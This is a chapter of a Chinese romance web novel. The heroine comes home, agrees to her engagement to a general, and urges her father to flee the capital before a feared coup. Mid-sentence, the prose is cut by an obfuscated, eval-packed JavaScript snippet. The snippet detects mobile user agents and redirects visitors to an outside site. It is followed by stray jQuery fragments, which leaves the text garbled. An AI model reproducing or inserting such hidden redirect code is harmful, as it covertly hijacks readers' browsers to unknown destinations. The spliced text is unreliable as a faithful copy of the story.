61. 回府
作品:《大将军对我念念不忘》 苏怀黎双眉微蹙,手持朱砂令牌,口吻虽轻但脸色极为沉着,无需提高音量,却给人一种不怒自威的震慑感。
霜月怔忡了一瞬,下意识屏气凝神,遂恭敬地拱手听命。
焚音堂的暗卫皆是祝家军中层层提拔的亲信,堂中的规矩效仿且更甚军中铁律,是以,饶是霜月再担忧主子的安危,也不容置喙主子的命令和安排,这山下就算是有财狼虎豹,她也要豁出命闯上一闯。
二人在山上没有逗留很久,收拾了一些贵重物件,主要是祝无恙为她留下的必要时能用上的金银,以及一把傍身的折花剑,二人便下山去了,苏怀黎的身影离开山中小院后没多久,院外隐蔽处便陆续有玄衣蒙面的暗卫倾巢而出。
一队暗卫一路护送她们至京都城关大门,便止住了跟随的步伐,转瞬如鬼魅般隐没在了别处。
苏怀黎坐在马车内,霜月则扮作车夫模样,将事先盖有官府大印的路引递给城关的巡检。
趁着马车停下的空挡,苏怀黎暗自掀开车帷一角,抬眸望去,目光所及之处一片缟素,数丈高的城墙由上而下悬着绫绸白幡,整座城池恍若巨大的灵堂,举国悲丧,军民素服一月,她身上亦穿着无花纹的素绸。
巡检官兵循例拦下二人的马车,神色不耐,翻开路书一瞧,立刻收敛了疑惑,抬手示意放她们入京。
时间一晃而过,距离她上次离开苏府已经过去半个多月,守门的小厮步履匆匆地将小姐回府的消息通报到主院,许氏在佛堂虔诚地为一双儿女祷告,乍一听到女儿回府的消息,顾不得急忙起身后的头晕眼花,焦急道:“快,快带我去见她!”
女儿不在府上这段时日,许氏每日吃斋念佛,祈祷女儿无病无灾,阖府太平无事,现下见到女儿平安无虞归来,还未开口说第一句话,眼泪就先掉了出来。
她这一哭,苏怀黎本就愧疚的心更加不是滋味,自责道:“都是女儿考虑不周,离府这么久也未差人传话或捎个信笺保平安,害得母亲担忧了这么久,女儿有罪。”
她被“囚”将军府时郁郁寡欢,虽牵挂父母,但未能寻得门道给他们报个信,后与祝无恙解开误会,本想是七夕一过便回府,因她贪玩又一再耽搁,忘了家中还有年迈的父母正苦苦等着她。
见许氏日渐憔悴消瘦的脸庞,她的心脏钝钝地发疼,如鲠在喉。
她这一道歉,惹得许氏更是伤心难过,最后是她与苏鹤齐力安慰,许氏才勉强停止落泪。
许氏停了啜泣,一边拉着她的手,一边埋怨瞪了苏鹤一眼:“这事怎么能怪你?要怪就怪你父亲,都是他出的馊主意!”
苏怀黎骤然茫茫不知所措,她的确不太清楚,祝无恙究竟是如何处理这些棘手的事,如何能在她没和父母见面的情况下,就让苏父苏母答应二人的婚事。
许氏絮絮叨叨道:“一想到当初他瞒着我,私下答应你与祝将军的婚事,我就气不打一处来!虽然说父母之命媒妁之言,我也是十分满意这个女婿,但这样也太不合规矩了!按照我朝成亲习俗,至少要男方族里正式提出婚约,列明聘礼清单,加盖印章,方能算是“订婚”,他倒好,一口气就应下了!”
许氏说得着急,见女儿茫然的脸色,骤然止住了话匣子,暗道一声糟了,苏鹤当时用的是二人“两情相悦”来糊弄她,她这才勉强应下,但她心下也拿不准女儿对祝无恙的感情,万一是丈夫诓骗她的呢?
若女儿因他们瞒着她私下敲定了婚事而产生怨怼,这该如何是好?!
许氏立刻对一旁的丈夫使了眼色,遂找补道:“不过你父亲也是为了你的安危和名声考虑,事急从权,你的身世又多有争论,父母无能,无法护你周全,这才拜托祝将军庇佑一二,再者说,你一个未出阁的姑娘,在外男府上呆了这么久,若是被有心之人拿乔,蓄意造谣,岂不是污了你的名声?有了未婚夫妻的名义,哪怕这街坊四邻都知道了,咱们也有名头堵住别人的嘴,你说可是?”
许氏如实地将自己的担忧说与她听,只希望她能够体谅父母在危急关头仓促做下的决定。
苏怀黎的心跳莫名有些加快,她并不知父母对她的真实身份是否有怀疑,对真实情况又知晓多少?她是否该与他们坦露真相,一连串的问题接踵而至。
她忽而有些心慌意乱,正思索之际,听苏鹤对她开口道:“阿黎,父母为你定下这门婚事绝无强迫你的意思,一切以你的心意为主,现下府上风头已过,皇帝金口玉言为苏氏证明清白,你也切莫再胡思乱想,你就是苏氏堂堂正正的嫡出小姐,在这件事上,任何人不能置喙半分。”
许氏忙接过话:“你父亲说得对,婚姻大事关乎你一生的幸福,若你实在不愿意,也莫要为难自己,你与母亲说,母亲明日便差人去将军府上把婚退了……”
苏怀黎望着照顾自己三年的父母,听着他们为自己规划筹谋,生怕让自己受半点委屈,心底升腾起满腔热意,眼眶微微发红,再想到这段时日她擅作主张,瞒着他们暗查自己的身世,心里更是愈发愧疚。
她抬手拭了拭洇湿的眼角,笑道:“母亲父亲,阿黎对祝将军确有情意,他待我亦是体贴入微,我愿意嫁给他。”
有了她这句话,许氏心中犹如放下一块沉重的石头,如释重负:“那就好!那就好!”
苏鹤亦是欣喜万分,说话的底气也足了一些:“你看我说的吧,人家年轻人两厢情愿,我这是成人之美!”
许氏不甘示弱道:“哪有你这样成人之美的?好似急不可耐要把姑娘嫁出去似的!阿黎将将及笄,身子又弱,我还想让闺女在跟前多尽孝几年,你倒好,瞒着我就把人家庚帖和聘礼收了!我告诉你,这婚虽然已经定下了,但日后结婚的事宜,必须由我一手操办,三书六礼的流程一个都不能少!”
苏鹤笑呵呵道:“好好好,都由夫人说了算!”
许氏嘴上埋怨丈夫,但见女儿终于觅得良缘,女婿又是战功赫赫的大将军,欢喜之情难以言表,此前儿子与公主的婚事已经令她焦头烂额,能与皇家联姻虽是无上荣耀,但她已经想清楚了,苏氏无福消受这般福泽。
自赐婚圣旨下来后,府上就无片刻安宁,先是出了侄女与外男暗通款曲的阴私,后是苏氏满门险遭灭顶之灾,苏怀景与公主的婚事又因皇后崩逝一再拖延,这说明,非两情相悦而成的婚姻,老天爷都要设法阻挠。
她现在就盼着,等服丧期限一过,她再风风光光地送女儿出嫁,阖府上下也能沾沾喜气,扭转运势。
许氏正徜徉在未来美好的想象中,突然转念一想,“哎呀”了一声:“你今日回府没有提前知会母亲一声,厨房只准备了三个人的膳食,不行,我得吩咐厨房把你爱吃的那几道菜都准备上才行,今日阿景也要回家吃饭,正好我们一大家子人好好聚聚!”
望着许氏携仆妇丫鬟匆匆离去的背影,父女二人都有些忍俊不禁。
苏鹤深深地看着她,眼里是浓浓的疼爱与关切:“阿黎,这些日子,让你受苦了。”
她摇摇头:“比起父亲母亲这阵子的担惊受怕,阿黎受的这些不算什么。”
他喟叹一声,道:“我们进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470742|163872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屋说吧。”
苏怀黎此番回府,不仅是想与家人团聚,另外还有更重要的事情要与父亲商讨,入屋后,她直言道:“出京的事宜,想必祝将军已经和父亲说过了,不知父亲是何打算?”
倘若威义侯趁皇后丧孝期间发动宫变,祝无恙定会早早通知苏鹤,让其做好充分准备,在局势尚未彻失控之前,苏家人得趁早出京自保。
苏氏与贺氏之间纠缠颇深,苏怀景一力承办贺绍走私兵器、通敌卖国一案,按照贺绍心狠手辣、睚眦必报的性子,若他日人为刀俎我为鱼肉,他定不会轻易放过苏府。
苏鹤脸上的笑意忽而一僵,变得些许凝重:“阿黎,自将军上门提亲那日,就已经将宫变的担忧告知于我,这段时日我想了很多,也着手做了许多安排,你母亲性子温顺胆小,容易担惊受怕,我便自作主张先瞒了下来,阿景与我商榷之后,决定这几日分批次遣散府邸的所有下人,归还卖身契,再安排人马择日送你们出京。”
苏氏在京中有不少商铺,都是祖上封荫留下的产业,铺子一时半会无法折成现银转移出京,毕竟是出逃避难,只能带些必要的傍身盘缠,更何况,届时天下动荡,风雨飘摇,百姓朝不保夕,钱财这些身外之物,该舍弃的就舍弃了吧。
苏怀黎听他口吻,心底隐隐有些不安:“送我们出京后,父亲是何打算?不同我们一起出京吗?”
苏鹤深深地叹了一口气:“我苏氏三代效忠李氏,我虽文弱不堪,不及武将侠义英勇,可上阵杀敌保家卫国,但一直不敢忘记你祖父教诲过的句句箴言,若佞贼成功篡位,李氏一脉面临凶险境遇,我又岂有当逃兵的道理?我苏氏与李氏,一荣俱荣,一损俱损。”
苏怀黎一颗心幽幽地沉了下去。
良久,她似是下定了某种决心:“若女儿以信王的名义,劝您出京,您可愿意再三思?”
“女儿明白您的顾虑,大乾是李氏的天下,苏氏祖上受李氏封荫庇佑,自成为望族以来便一直追随李氏,贺绍要反,定不会留皇帝性命,届时皇子尚弱,长公主又与贺绍之间有血缘之亲,假以时日,贺绍必会想尽办法逐步蚕食本该属于李氏的天下,可您忘了,我亦是李氏的血脉。”
苏鹤浑身一震,目光矍铄:“你——你都知道了?”
苏怀黎颔首:“您放心,有我在,李氏一族不会凋零。”
他眸中忽起的亮光渐渐又堙灭下去:“可是,你的身份被隐瞒了十几年,世人皆知,信王膝下无儿无女,又有谁能证明你的真实身份?”
她道:“我身上有生父留下的遗物,若是他日反贼杀尽李氏一脉,篡位临朝,我自当亮出此物证明自己是信王之女,我相信,大乾数以万计的朝臣皆认李氏为皇室正统,何况,祝将军有数万祝家军誓死捍卫正统,他日再夺回江山,不过如囊中取物,指日可待!”
听了苏怀黎这番话,苏鹤胸中忽而升起一股巨大的信念感,他亦相信那日祝无恙所说,他日必定会携数万兵马重返京城,取反贼项上人头,此前令他犹豫的是,届时这天下还能不能姓李。
有了苏怀黎这话,他飘忽难定的心神终于有了着落。
良久,他深深地吁了一口气:“那好,为父且听你一言。”
苏怀黎眉眼舒展开来,二人相视会心一笑。
倏忽,门外传来一阵喧闹之声,苏鹤蹙眉道:“外头吵吵嚷嚷的所谓何事?!”
报信的丫鬟急匆匆迈过门槛,福身施礼:“回老爷小姐,适才表小姐突然回府,现在正在外头吵着,说是非要见老爷夫人一面。”